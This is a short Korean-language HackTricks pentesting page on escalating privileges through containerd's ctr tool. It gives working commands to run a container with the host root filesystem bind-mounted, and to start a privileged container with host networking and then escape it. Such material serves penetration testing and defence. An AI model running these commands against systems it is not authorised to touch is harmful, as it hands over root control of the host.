Containerd (ctr) Privilege Escalation

HackTricks 지원

기본 정보

containerdctr이 무엇인지 알아보려면 다음 링크로 이동하세요:

2375, 2376 Pentesting Docker

PE 1

호스트에 ctr 명령이 포함되어 있는 것을 발견하면:

which ctr
/usr/bin/ctr

이미지를 나열할 수 있습니다:

ctr image list
REF                                  TYPE                                                 DIGEST                                                                  SIZE      PLATFORMS   LABELS
registry:5000/alpine:latest application/vnd.docker.distribution.manifest.v2+json sha256:0565dfc4f13e1df6a2ba35e8ad549b7cb8ce6bccbc472ba69e3fe9326f186fe2 100.1 MiB linux/amd64 -
registry:5000/ubuntu:latest application/vnd.docker.distribution.manifest.v2+json sha256:ea80198bccd78360e4a36eb43f386134b837455dc5ad03236d97133f3ed3571a 302.8 MiB linux/amd64 -

그런 다음 호스트 루트 폴더를 마운트하여 해당 이미지 중 하나를 실행하십시오:

ctr run --mount type=bind,src=/,dst=/,options=rbind -t registry:5000/ubuntu:latest ubuntu bash

PE 2

특권을 부여받은 컨테이너를 실행하고 이탈하세요. 다음과 같이 특권이 부여된 컨테이너를 실행할 수 있습니다:

ctr run --privileged --net-host -t registry:5000/modified-ubuntu:latest ubuntu bash

그럼 특권 기능을 남용하여 탈출하는 기술 중 일부를 사용할 수 있습니다:

Docker Security
HackTricks 지원

Last updated